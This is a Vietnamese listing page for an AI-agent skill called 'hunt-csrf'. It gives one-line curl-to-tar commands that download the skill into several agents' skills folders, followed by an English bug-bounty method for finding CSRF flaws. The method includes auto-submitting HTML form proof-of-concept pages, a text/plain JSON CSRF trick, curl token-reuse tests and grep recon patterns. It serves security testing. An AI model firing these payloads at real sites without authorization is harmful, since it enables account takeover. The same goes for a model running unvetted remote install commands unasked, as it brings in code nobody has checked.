hunt-csrf – skill Bảo mật cho agent AI
Kỹ năng săn lỗ hổng csrf. Được xây dựng từ 15 báo cáo bug bounty công khai, bao gồm các biến thể hiện đại — bypass SameSite=Lax qua subdomain anh em (Argo CD CVE-2024-22424), GraphQL mutation qua GET (GitLab $3,370), middleware CSRF của framework bị tắt toàn cục (Stripe Dashboard $5,000), bypass CSRF token bằng path traversal (GitH
Cài skill hunt-csrf bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-csrf-33302.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /hunt-csrf – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-csrf-33302.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $hunt-csrf – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-csrf-33302.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /hunt-csrf – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-csrf-33302.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /hunt-csrf – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
When to Use
Use when the target has any state-changing endpoint that a logged-in user can trigger — POST/PUT/DELETE on account settings, email changes, social account linking, OAuth flows, API calls, or file operations. CSRF exploits the trust a site has in a user's browser by forging cross-origin requests. Every form submission, AJAX call, OAuth callback, and API mutation is a candidate. Highest-value targets: account takeover vectors (OAuth/SSO flows, social account linking), authentication infrastructure (login CSRF, session fixation), JSON APIs accepting cross-origin POST, and third-party integrations (Grafana, monitoring dashboards).
⚠️ CRITICAL: curl ≠ browser. Model the browser security model.
CSRF PoC MUST work in a real browser, not just curl. The browser enforces rules that curl ignores:
| Browser Rule | curl Behavior | Real CSRF Impact |
|-------------|---------------|-----------------|
| SameSite=Lax | curl sends cookie anyway | Blocks cookie on cross-site POST — no CSRF |
| SameSite=Strict | curl sends cookie anyway | Blocks cookie on all cross-site requests — no CSRF |
| CORS preflight | curl skips OPTIONS | Browser blocks if Content-Type: application/json |
| Sec-Fetch-Site: cross-site | curl doesn't send | Server can reject cross-site requests via this header |
CSRF verification checklist:
1. ✅ Endpoint changes state (POST/PUT/DELETE)
2. ✅ Cookie has SameSite=None OR SameSite=Lax with GET-based action
3. ✅ No custom CSRF token/header required
4. ✅ PoC works from a different origin in a real browser
If step 2 fails (SameSite=Lax on POST endpoint) → NOT exploitable CSRF via curl alone. SameSite=Lax allows cookies on top-level navigation GET, not cross-site POST. A curl POST succeeding with the cookie is a false positive — the browser would block it.
CSRF Middleware Protection Bypass:
- Many modern web frameworks (for example, those with CSRF protection enabled by default) reject state-changing requests such as POST, PUT, or DELETE with a
403 Forbiddenresponse when the CSRF token is missing or invalid. - In some applications, if the
PATCHmethod is not covered by the same CSRF middleware or is handled differently, it may be possible to perform the same state-changing action using PATCH instead. This can result in a CSRF protection bypass if the server accepts the request without validating a CSRF token.
SameSite cheat sheet:
| Cookie Attribute | Browser sends cookie on... |
|-----------------|---------------------------|
| SameSite=None | All cross-site requests (needs Secure) |
| SameSite=Lax | Cross-site GET (top-level nav only). Blocks POST |
| SameSite=Strict | Same-site only. Blocks everything cross-site |
| Not set (default) | Treated as Lax in modern browsers |
---
Crown Jewel Targets
CSRF becomes high-value when it touches state-changing actions with account-level or financial consequences. The highest-paying targets are:
- Account takeover vectors: OAuth/SSO flows (RelayState manipulation), social account linking/unlinking (Oculus-Facebook, SocialClub), import-friends features that expose OAuth tokens
- Authentication infrastructure: Login CSRF, session fixation via CSRF, forced account association
- API endpoints accepting cross-origin POST: JSON APIs, heartbeat/activity APIs, anything that skips Content-Type enforcement
- Third-party integrations: Grafana, monitoring dashboards, embedded analytics — often lag on CSRF protections
- Social platforms: Twitter/X collections, friend imports, social graph mutations — high-volume, authenticated actions with real user impact
Asset types that pay most: Core product auth flows > API gateways > third-party integrations running on subdomains > admin panels.
---
Attack Surface Signals
URL Patterns
/oauth/authorize?RelayState=
/accounts/link
/import/friends
/api/v*/heartbeat
/api/v*/collect
/monitoring/* (Grafana, Prow, Prometheus)
/auth/saml/callback
/connect/* (social integrations)Response Header Signals
# Missing or weak SameSite cookie attributes
Set-Cookie: session=abc123; HttpOnly # no SameSite = vulnerable
Set-Cookie: session=abc123; SameSite=None # explicitly allows cross-site
# Missing CSRF headers
# No X-Frame-Options or permissive CORS
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true # dangerous comboJS / DOM Patterns
// Static or predictable CSRF tokens
meta[name="csrf-token"] // grep if value changes across sessions
authenticity_token // Rails — check if reused across page loads
// JSON endpoints without Content-Type enforcement
fetch('/api/heartbeat', {method: 'POST', body: JSON.stringify(data)})
// No CSRF token in form at all
<form method="POST" action="/accounts/link"> // no hidden token fieldTech Stack Signals
- Rails apps: Look for
authenticity_token— test if it's static per session - Django apps: Check
csrfmiddlewaretoken— test cross-user/session reuse - Grafana instances: CVE-2022-21703 — check version via
/api/health - SAMLv2/OIDC flows:
RelayStateparameter rarely validated - Express/Node APIs: Often skip CSRF middleware on
/api/*routes
---
Step-by-Step Hunting Methodology
1. Map all state-changing endpoints — Spider authenticated session, filter for POST/PUT/DELETE/PATCH. Note every form and AJAX call.
2. Check cookie SameSite attributes — In DevTools → Application → Cookies. Flag any session cookie without SameSite=Strict or Lax.
3. Test token staticness — Log in twice (different sessions or incognito). Compare authenticity_token / csrfmiddlewaretoken / csrf-token values across:
- Same session, different page loads (should be different)
- Different sessions for same user
- Different users entirely
4. Test token omission — Remove the CSRF token field entirely from a POST request. If the server returns 200, you have CSRF.
5. Test token substitution — Replace the token with one from a different session. Server accepting it = broken validation.
6. Test JSON endpoints for form-POST CSRF — Check if Content-Type is enforced:
- Send
application/x-www-form-urlencodedto a JSON endpoint - Send
text/plainwith a JSON body - If accepted, HTML form can trigger it cross-origin
7. Hunt OAuth/SSO RelayState — Intercept SAML/OIDC flows. Test if RelayState is validated for same-origin. Inject external URLs.
8. Check social linking flows — Every "connect your X account" feature. These often use redirect-based OAuth where CSRF on the callback can associate an attacker's social account.
9. Test third-party dashboards on subdomains — Grafana, Kibana, Prometheus. Check version, apply known CVEs, test default CSRF posture.
10. Build PoC HTML page — Host on a different origin, fire the request, confirm cookies are sent and action executes.
---
Payload & Detection Patterns
Basic CSRF PoC (Form POST)
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/api/v1/account/link">
<input type="hidden" name="provider" value="attacker_account_id" />
<input type="hidden" name="token" value="oauth_token_here" />
</form>
</body>
</html>JSON CSRF via text/plain (bypasses Content-Type check)
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/api/heartbeat"
enctype="text/plain">
<!-- browser sends: {"status":"ok","x":"=padding"} -->
<input type="hidden" name='{"status":"ok","x":"' value='padding"}' />
</form>
</body>
</html>curl: Test CSRF token omission
# Capture a valid request, then replay without token
curl --max-time 30 --connect-timeout 10 -s -X POST https://target.com/settings/email \
-H "Cookie: session=YOUR_SESSION" \
-d "[email protected]" \
-v 2>&1 | grep -E "HTTP|location|error"curl: Test token reuse across sessions
# Get token from session A
TOKEN_A=$(curl --max-time 30 --connect-timeout 10 -s https://target.com/settings -H "Cookie: session=SESSION_A" \
| grep -Eo 'authenticity_token[^"]*value="\K[^"]+')
# Use token A in session B's request
curl --max-time 30 --connect-timeout 10 -s -X POST https://target.com/settings/update \
-H "Cookie: session=SESSION_B" \
-d "authenticity_token=$TOKEN_A&[email protected]" \
-vGrep patterns for recon
# Find CSRF token fields in HTML responses
grep -Eo 'name="(csrf|_token|authenticity_token|csrfmiddlewaretoken)"[^>]*value="[^"]+"'
# Find forms without CSRF tokens
grep -B5 -A20 '<form method="[Pp][Oo][Ss][Tt]"' response.html | grep -L "csrf\|token\|nonce"
# Check SameSite in response headers
curl --max-time 30 --connect-timeout 10 -sI https://target.com/login | grep -i "set-cookie"
# Find RelayState parameters
grep -r "RelayState" --include="*.js" .Gra
… (nội dung đầy đủ có trong gói tải về)
Skill liên quan
- hunt-django – Săn lỗ hổng riêng cho Django: lỗ hổng phân quyền DRF, ORM injection và khai thác admin.
- hunt-fastapi – Săn lỗ hổng riêng cho FastAPI: lỗ hổng dependency injection, ép kiểu Pydantic và khai…
- geopandas – Hướng dẫn và công cụ kiểm tra cục bộ cho quy trình Python dùng trực tiếp GeoPandas…
- security-best-practices – Thực hiện rà soát thực hành bảo mật đặc thù cho từng ngôn ngữ và framework, đề xuất cải…
- hunt-graphql – Skill săn lỗ hổng GraphQL. Được xây dựng từ 12 báo cáo bug bounty công khai về IDOR qua…
- hunt-grpc – Săn lỗ hổng gRPC: server reflection được bật (liệt kê tất cả service/method), thiếu xác…
- domain-intel – Trinh sát thụ động các subdomain, chứng chỉ SSL, WHOIS và DNS.
- security-ownership-map – Phân tích repository git để xây dựng bản đồ quyền sở hữu bảo mật (người–file), tính bus…